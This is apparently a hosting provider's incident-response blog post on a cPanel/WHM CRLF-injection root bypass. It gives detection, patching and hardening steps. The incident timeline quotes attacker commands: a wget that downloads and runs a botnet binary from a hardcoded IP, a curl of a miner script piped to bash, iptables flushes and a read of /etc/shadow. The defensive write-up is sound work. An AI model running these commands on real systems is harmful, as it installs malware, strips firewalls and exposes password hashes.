Anatomy of a cPanel/WHM Compromise: How CVE-2026-41940 Was Exploited — and How to Lock It Down

Last updated: April 30, 2026 Severity: Critical (CVSS 9.8) — pre-auth, root-level Affected: All cPanel & WHM versions after 11.40, plus WP Squared Status: Patched April 28, 2026. Active exploitation in the wild since at least February 23, 2026.

---

TL;DR

If you run cPanel/WHM and you haven't run /scripts/upcp --force since April 28, 2026 — stop reading and go do that now. The rest of this post will still be here when you get back.

CVE-2026-41940 is a CRLF-injection authentication bypass in cPanel's session-handling code. An unauthenticated attacker, with a single HTTP request to port 2087, can write themselves a user=root session file and walk straight into WHM as root. No password. No brute force. No second step.

This post breaks down a real-world incident on one of our managed servers, explains what the attacker actually did at each stage, and gives you a concrete checklist to (a) detect if you've already been hit, (b) close the hole, and (c) harden against the next one.

---

1. What happened (the incident)

Last week, one of our cPanel nodes started behaving oddly — CPU pinned at 100%, outbound traffic to a couple of unfamiliar IPs, and iptables -L showing an empty ruleset that definitely wasn't empty the day before. Pulling /root/.bash_history and the cPanel access logs reconstructed the following timeline:

Phase	What the attacker did	Why
1. Entry	Exploited CVE-2026-41940 against cpsrvd on port 2087	Unauth root session in WHM
2. Sabotage	iptables -F, iptables -X, iptables -P INPUT ACCEPT	Strip firewall before installing payloads
3. Malware drop	wget http://87.121.84.78/nuclear.x86 && chmod +x nuclear.x86 && ./nuclear.x86 xd	Botnet implant for C2
4. Crypto-mining	curl -sL http://31.57.109.131/scripts/4thepool_miner.sh | bash	Monetise CPU
5. Credential theft	cat /etc/shadow, find /root /home -name '.bash_history'	Hash dump + creds harvest
6. Reconnaissance	ps auxwwe, ss -tulpn, ip addr, docker ps -a	Map the box for lateral movement

If any of those commands show up in your bash_history or shell audit logs and you didn't run them, treat the box as compromised. Fully.

---

2. The vulnerability, in plain English

cPanel's daemon cpsrvd (the thing listening on 2083/2087) creates a session file on disk before checking if you actually logged in correctly. That's the first design flaw — but normally it doesn't matter, because the session is written with a random, server-generated key and your unauth session has no useful properties on it.

The bug is that cPanel had a sanitisation function called filter_sessiondata that was never actually called inside the save path. Every caller was supposed to invoke it manually, and one critical code path in cpsrvd simply didn't. The root cause: a sanitization function called filter_sessiondata existed but was never called inside saveSession itself — every caller was expected to invoke it manually, and one critical code path in the core server daemon cpsrvd simply didn't.

The result: an attacker can send a malformed login request that contains raw \r\n (CRLF) bytes inside an HTTP header. Because the session file is a line-based key=value format, those line breaks let the attacker inject extra session properties of their choosing — most usefully, user=root. Attackers can inject raw \r\n characters via a malicious basic authorization header, and the system subsequently writes the session file without sanitizing the data. As a result, the attacker can insert arbitrary properties, such as user=root, into their session file.

Then they replay the cookie they were handed back, and cpsrvd happily loads the tampered session and grants them root.

That's it. That's the bug. Pre-auth → root in one request.

Why it's so bad

• Pre-authentication. No credentials needed. Period.
• CVSS 9.8. As high as it gets.
• Universal. All supported versions and most end-of-life versions are affected.
• Wormable surface. Shodan internet scans show that there are approximately 1.5 million cPanel instances exposed online. Many on shared hosting boxes that touch hundreds of customer sites each.
• Already in the wild. Attackers didn't have to wait for watchTowr security researchers to release technical details about the vulnerability – they have been spotted exploiting CVE-2026-41940 since February 23, and have likely been abusing it even earlier.

---

3. The attack, phase by phase (defender's view)

Below is what the attacker did on our box, with the detection signal for each phase. If you only read one section of this post, read this one.

Phase 1 — Entry via CRLF session injection

What you would have seen in logs:

• A request to https://yourserver:2087/login/ from an unfamiliar IP
• User-Agent strings like Go-http-client/1.1 or python-requests/2.x (automated tooling — real admins use a browser)
• A short delay, then a successful WHM access from the same IP without any matching successful authentication event
• A new file in /var/cpanel/sessions/raw/ matching the attacker's cookie

Where to look:

# cpsrvd access logs
grep -E "Go-http-client|python-requests" /usr/local/cpanel/logs/access_log
# Sessions raw dir — anything weird in here written around suspicious request times?
ls -lat /var/cpanel/sessions/raw/ | head -50
# Login log
grep -i "login" /usr/local/cpanel/logs/login_log | tail -200

If you see WHM activity from an IP that has no preceding Login successful event in login_log, that's your smoking gun.

Phase 2 — Disabling the firewall

The first thing any competent attacker does after landing on a Linux box is silence the alarms. In our case:

iptables -F        # flush all rules in the filter table
iptables -X        # delete all custom chains
iptables -P INPUT ACCEPT   # default-allow inbound

This nukes CSF/firewalld/ConfigServer Firewall in one go. CSF doesn't auto-restore unless you have it watching for tampering.

Detection:

# Check live ruleset — if it's nearly empty, you have a problem
iptables -L -n -v
# CSF can detect this if you enable LF_INTEGRITY, but not by default
grep -i "iptables" /root/.bash_history /home/*/.bash_history

Phase 3 — Dropping the implant (nuclear.x86)

Classic Linux botnet pattern. Pull a binary from a hardcoded IP, mark it executable, run it with an argument that tells it which C2 channel to phone home on.

The nuclear.x86 family is well-documented Mirai-derivative malware. Once running, it opens a TCP connection to a C2 server and waits for commands (DDoS, scan-and-spread, credential theft, etc.).

Detection:

# Suspicious processes
ps auxwwe | grep -E "nuclear|x86$|\.sh$"
# Outbound connections to non-standard hosts
ss -tunap | grep ESTAB | grep -vE ":(80|443|22|53)\b"
# Recent files in /tmp, /var/tmp, /dev/shm — three favourite drop zones
find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls

Phase 4 — Crypto-miner installation

The miner script (4thepool_miner.sh) is a typical XMRig wrapper — pulls down the miner binary, configures it for a Monero pool, drops a systemd service or cron entry for persistence, and starts mining. CPU goes to 100%, your customers' sites get slow, and you eat the electricity bill.

Detection:

# CPU watchers
top -bn1 | head -20
# Persistence checks
crontab -l; for u in $(cut -f1 -d: /etc/passwd); do crontab -u "$u" -l 2>/dev/null; done
ls -la /etc/cron.* /etc/systemd/system/ /lib/systemd/system/ | grep -v "$(date +%Y)" # show old vs new
# XMRig-style network signatures
ss -tunap | grep -iE "stratum|pool|3333|7777|14444"

Phase 5 — Credential theft

cat /etc/shadow gives them every local password hash on the box. find /root /home -name '.bash_history' lets them grep for accidentally-typed passwords, API tokens, MySQL roots, AWS keys — anything an admin has ever pasted into a shell.

Assume any credential ever typed on that box is now public. This includes:

• Local Linux user passwords
• MySQL/MariaDB passwords from ~/.my.cnf
• API tokens in shell history or .env files
• SSH keys (especially if ~/.ssh/id_* had no passphrase)
• WHM/cPanel API tokens in /var/cpanel/authn/api_tokens_v2/

Phase 6 — Reconnaissance

ps auxwwe, ss -tulpn, ip addr, docker ps -a — they're mapping the network. Looking for:

• Internal management IPs they can pivot to
• Other services running locally (Redis, Memcached, internal APIs) that don't expect outside traffic
• Container workloads they can attack from inside

If your cPanel box can reach your billing system, your monitoring stack, your backups, or your other servers — assume those are next.

---

4. The permanent fix: patch, restart, verify

This is non-negotiable. Run all three commands, in this order, as root:

# 1. Force the update (works even if the system thinks it's already current)
/scripts/upcp --force

# 2. Restart cpsrvd so the patched binary is actually running
/scripts/restartsrv_cpsrvd

# 3. Verify your build is on a patched version
/usr/local/cpanel/cpanel -V

You need to be at or above one of these builds: cPanel & WHM 110.0.x - patched in 11.110.0.97 (was 11.110.0.96) cPanel & WHM 118.0.x - patched in 11.118.0.63 (was 11.118.0.61) cPanel & WHM 126.0.x - patched in 11.126.0.54 (was 11.126.0.53) cPanel & WHM 132.0.x - patched in 11.132.0.29 (was 11.132.0.27) cPanel & WHM 134.0.x - patched in 11.134.0.20 (was 11.134.0.19) cPanel & WHM 136.0.x - patched in 11.136.0.5 (was 11.136.0.4)

WP Squared users need 11.136.1.7 or later.

If you're on an unsupported version (anything older than 110.0.x), you will not get a patch. Your only options are upgrade or take it offline.

---

5. Can't patch immediately? Temporary mitigations

If you have a maintenance-window restriction or a compliance freeze and can't run the update right this second, cPanel published two interim mitigations. Pick one — both kill cPanel access, so warn your customers first.

Option A — Block the cPanel ports at the firewall

# CSF
csf -d 0.0.0.0/0 -p tcp --dport 2083  # cPanel SSL
csf -d 0.0.0.0/0 -p tcp --dport 2087  # WHM SSL
csf -d 0.0.0.0/0 -p tcp --dport 2095  # Webmail SSL
csf -d 0.0.0.0/0 -p tcp --dport 2096  # Webmail SSL (alt)
csf -r

Better still: allow-list only your office/admin IPs on those ports rather than blocking everyone.

Option B — Stop the vulnerable services entirely

whmapi1 configureservice service=cpsrvd enabled=0 monitored=0 && whmapi1 configureservice service=cpdavd enabled=0 monitored=0 && /scripts/restartsrv_cpsrvd --stop && /scripts/restartsrv_cpdavd --stop

This brings cPanel/WHM completely down. Customer sites keep serving via Apache/LiteSpeed, but no one (including you) can use the control panel until you re-enable it. Use this only if your customer base can tolerate a few hours of "no panel."

Important: these are mitigations, not fixes. Patch as soon as your window opens.

---

6. "I think we got hit" — the post-compromise checklist

If any of the IOCs from Section 3 match, do not just patch and move on. Treat the host as fully compromised and work through this list:

1. Snapshot first, investigate second. Take a full disk image (or VM snapshot) before you touch anything. You'll want it for forensics and possibly insurance/notification obligations.
2. Pull the box off the public internet. Restrict to your admin IP only.
3. Identify and kill all attacker processes.

   ps -ef --forest
   for pid in $(pgrep -f -E "nuclear|xmrig|miner|stratum"); do
     ls -la /proc/$pid/exe; cat /proc/$pid/cmdline | tr '\0' ' '; echo
   done
   

4. Hunt persistence. Check cron (system + every user), systemd units, /etc/rc.local, ~/.bashrc, ~/.profile, ~/.ssh/authorized_keys for every account, and WHM API tokens.
5. Purge attacker sessions.

   rm -rf /var/cpanel/sessions/raw/*
   /scripts/restartsrv_cpsrvd
   

6. Rotate every credential that has ever been typed on this box. Linux passwords, MySQL roots, WHM/cPanel API tokens, SSH keys (regenerate, don't reuse), customer FTP passwords, mail account passwords. Yes, all of them.
7. Restore data from a known-good backup taken before the first IOC timestamp. If exploitation began Feb 23 industry-wide, your "known good" point may be earlier than you think — verify file mtimes against your backup catalog.
8. Audit hosted sites for web shells and modified files. Look for recently changed PHP files in /home/*/public_html/ and known shell signatures (eval+base64_decode, etc.).
9. Notify affected customers. Depending on your jurisdiction (GDPR, India DPDP, etc.), you may have a legal disclosure obligation if customer data was on the box.
10. Then, and only then, patch and bring it back online.

The painful truth: if a box was internet-exposed on 2083/2087 between Feb 23 and your patch date, you cannot rule out compromise from logs alone. Industry guidance is to treat unsupported/end-of-life cPanel servers as actively compromised until proven otherwise.

---

7. Hardening: don't be the next case study

Patching closes this hole. The next one is already out there. Standing controls that would have made this attack much harder, in rough priority order:

Lock down the WHM/cPanel admin ports. WHM should not be open to 0.0.0.0. Use CSF to allow-list only your office/admin IPs on 2087. Put it behind a VPN if you can.

Enable 2FA in WHM for all reseller and root accounts. Home → Security Center → Two-Factor Authentication. It wouldn't have stopped a pre-auth bypass like this one, but it stops the much more common credential-stuffing path.

Turn on LF_INTEGRITY in CSF so iptables tampering triggers an alert. Also turn on LF_DIRWATCH for /tmp, /var/tmp, /dev/shm to catch dropped binaries.

Subscribe to vendor advisories. cpanel.net has an RSS feed. Rapid7, watchTowr, Help Net Security, and BleepingComputer all carry hosting-relevant CVEs same-day. Patching at T+24h vs T+24d is the difference between "near miss" and "incident."

Auto-update cPanel. Run whmapi1 set_tweaksetting key=update_log_analysis_retention_length value=... — but more importantly, set Update Preferences to RELEASE tier with daily update checks. The default is daily; verify yours. Servers with auto-updates pinned off are exactly the ones that got hit hardest by this CVE.

Audit /var/cpanel/sessions/raw/ periodically. A cron that alerts if files appear there outside of normal admin hours catches a lot of weird behaviour cheaply.

Outbound egress filtering. Most cPanel boxes have no business connecting outward to a random VPS in Bulgaria. A modest egress allow-list (your update mirrors, your monitoring, license servers) breaks the malware download step entirely.

Centralised logs. Ship /usr/local/cpanel/logs/, /var/log/secure, bash_history, and auditd logs off the box in real time. The first thing every attacker does is wipe local logs; if they've already been shipped, you still have the evidence.

Backups that the attacker can't reach. Pull-based backups to a host the production server can't authenticate into. If your cPanel box has the credentials to overwrite its own backups, your backups don't really exist.

---

8. The bigger lesson

CVE-2026-41940 is an old-school CRLF-injection bug — the kind we've been writing OWASP wiki pages about for 20 years. It got into shipping cPanel because a sanitisation function was defined but a critical code path forgot to call it. That's not a sophisticated nation-state zero-day; that's a missing one-line invocation.

The interesting part isn't the bug. The interesting part is the 6-week (at least) gap between exploitation in the wild and public disclosure, and the fact that 1.5M+ instances were exposed when the patch dropped. If your security model assumes "we'll patch when CVEs are announced," you're a month behind real attackers on a typical campaign.

The fix is layered defence: don't expose the panel publicly, allow-list admin IPs, run egress filtering, ship logs off-box, and treat the patch cycle as the floor of your security — not the ceiling.

---

Quick-reference cheat sheet

# Check if I'm vulnerable
/usr/local/cpanel/cpanel -V

# Patch now
/scripts/upcp --force && /scripts/restartsrv_cpsrvd

# Verify patched build
/usr/local/cpanel/cpanel -V

# Temporary block (CSF)
csf -d 0.0.0.0/0 -p tcp --dport 2083
csf -d 0.0.0.0/0 -p tcp --dport 2087
csf -r

# Hunt for IOCs
grep -E "Go-http-client|python-requests" /usr/local/cpanel/logs/access_log
ls -lat /var/cpanel/sessions/raw/ | head -50
ps auxwwe | grep -E "nuclear|xmrig|miner"
ss -tunap | grep -iE "stratum|3333|7777|14444"
find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls

---

If you manage cPanel servers and aren't sure where you stand on this CVE, get in touch with the ElySpace team — we're happy to do a free exposure check on your nodes.